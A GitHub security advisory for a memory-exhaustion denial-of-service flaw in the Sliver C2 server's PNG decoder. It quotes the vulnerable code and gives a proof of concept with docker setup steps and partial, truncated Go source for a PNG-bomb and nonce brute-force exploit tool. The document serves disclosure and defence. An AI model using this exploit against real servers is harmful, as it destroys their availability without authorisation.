GitHub Advisoryadvisory · Go

GHSA-663m-7x7m-g4fw Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder

HIGH Published 2026-10-15 Modified 2026-10-15 Official page ↗
Aliases
CVE-2026-77622
Ecosystem
Go
Packages
github.com/BishopFox/sliver
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-770
Reviewed
2026-10-15

Affected packages

• Go github.com/BishopFox/sliver: < 1.7.6 → fixed in 1.7.6

Description

Summary Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. Details The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go` ```go const ( EncoderModulus = uint64(65537) ) ``` The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: `util/encoders/images.go` ```go func (p PNGEncoder) Encode(data []byte) ([]byte, error) { img := imageFromBytes(data) var buf bytes.Buffer encoder.Encode(&buf, img) return buf.Bytes(), nil } func (p PNGEncoder) Decode(data []byte) ([]byte, error) { buf := bytes.NewBuffer(data) img, err := png.Decode(buf) if err != nil { return nil, err } return bytesFromImage(img), nil } ``` PoC The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused. Get the latest version of Sliver (Currently 1.7.3) ```bash git clone https://github.com/BishopFox/sliver.git ``` Build the Docker container: ```bash cd sliver docker build -t sliver-test:local -f Dockerfile . ``` Run the Docker container with a memory cap for example 4GB: ```bash docker run --rm \ --name sliver-test \ --memory=4g \ -p 8080:8080 \ -it \ sliver-test:local ``` After the Docker container starts, create an http listener on port 8080: ```bash http -L 0.0.0.0 -l 8080 ``` In a seperate terminal create the following Go project: `go.mod` ```Go module pngboomer go 1.25 ``` `poc.go` ```Go // pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill. // // SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run // it against a Docker container with --memory=g and pass -target-cap-mb N // so the tool can refuse dangerous worker/probe combos. // // Build: go build -o pngboomer // Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240 package main import ( "bytes" "compress/zlib" "context" "encoding/binary" "flag" "fmt" "hash/crc32" "io" "math/rand" "net" "net/http" "net/url" "os" "sort" "sync" "sync/atomic" "time" ) // ANSI color — single helper, disabled by -no-color / -silent. var nocolor bool func col(code, s string) string { if nocolor { return s } return "\x1b[" + code + "m" + s + "\x1b[0m" } func B(s string) string { return col("1", s) } func D(s string) string { return col("2", s) } func R(s string) string { return col("1;31", s) } func G(s string) string { return col("1;32", s) } func Y(s string) string { return col("1;33", s) } func C(s string) string { return col("1;36", s) } func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 } // PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for // the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px). func chunk(typ string, data []byte) []byte { out := make([]byte, 4, 12+len(data)) binary.BigEndian.PutUint32(out, uint32(len(data))) out = append(out, typ...) out = append(out, data...) crc := crc32.NewIEEE() crc.Write([]byte(typ)) crc.Write(data) tail := make([]byte, 4) binary.BigEndian.PutUint32(tail, crc.Sum32()) return append(out, tail...) } func makePNG(W, H, ct int) []byte { bpp := 3 if ct == 6 { bpp = 4 } var zb bytes.Buffer zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression) row := make([]byte, 1+bpp*W) for i := 0; i 0 && peakMB > *capMB/2 { fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n", R("[X] safety:"), peakMB, *capMB) os.Exit(2) } probe := makePNG(*probeW, *probeH, *probeCT) kill := makePNG(*killW, *killH, *killCT) hp := hostPort(*target) …

Related

Alias · not in database (1)

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References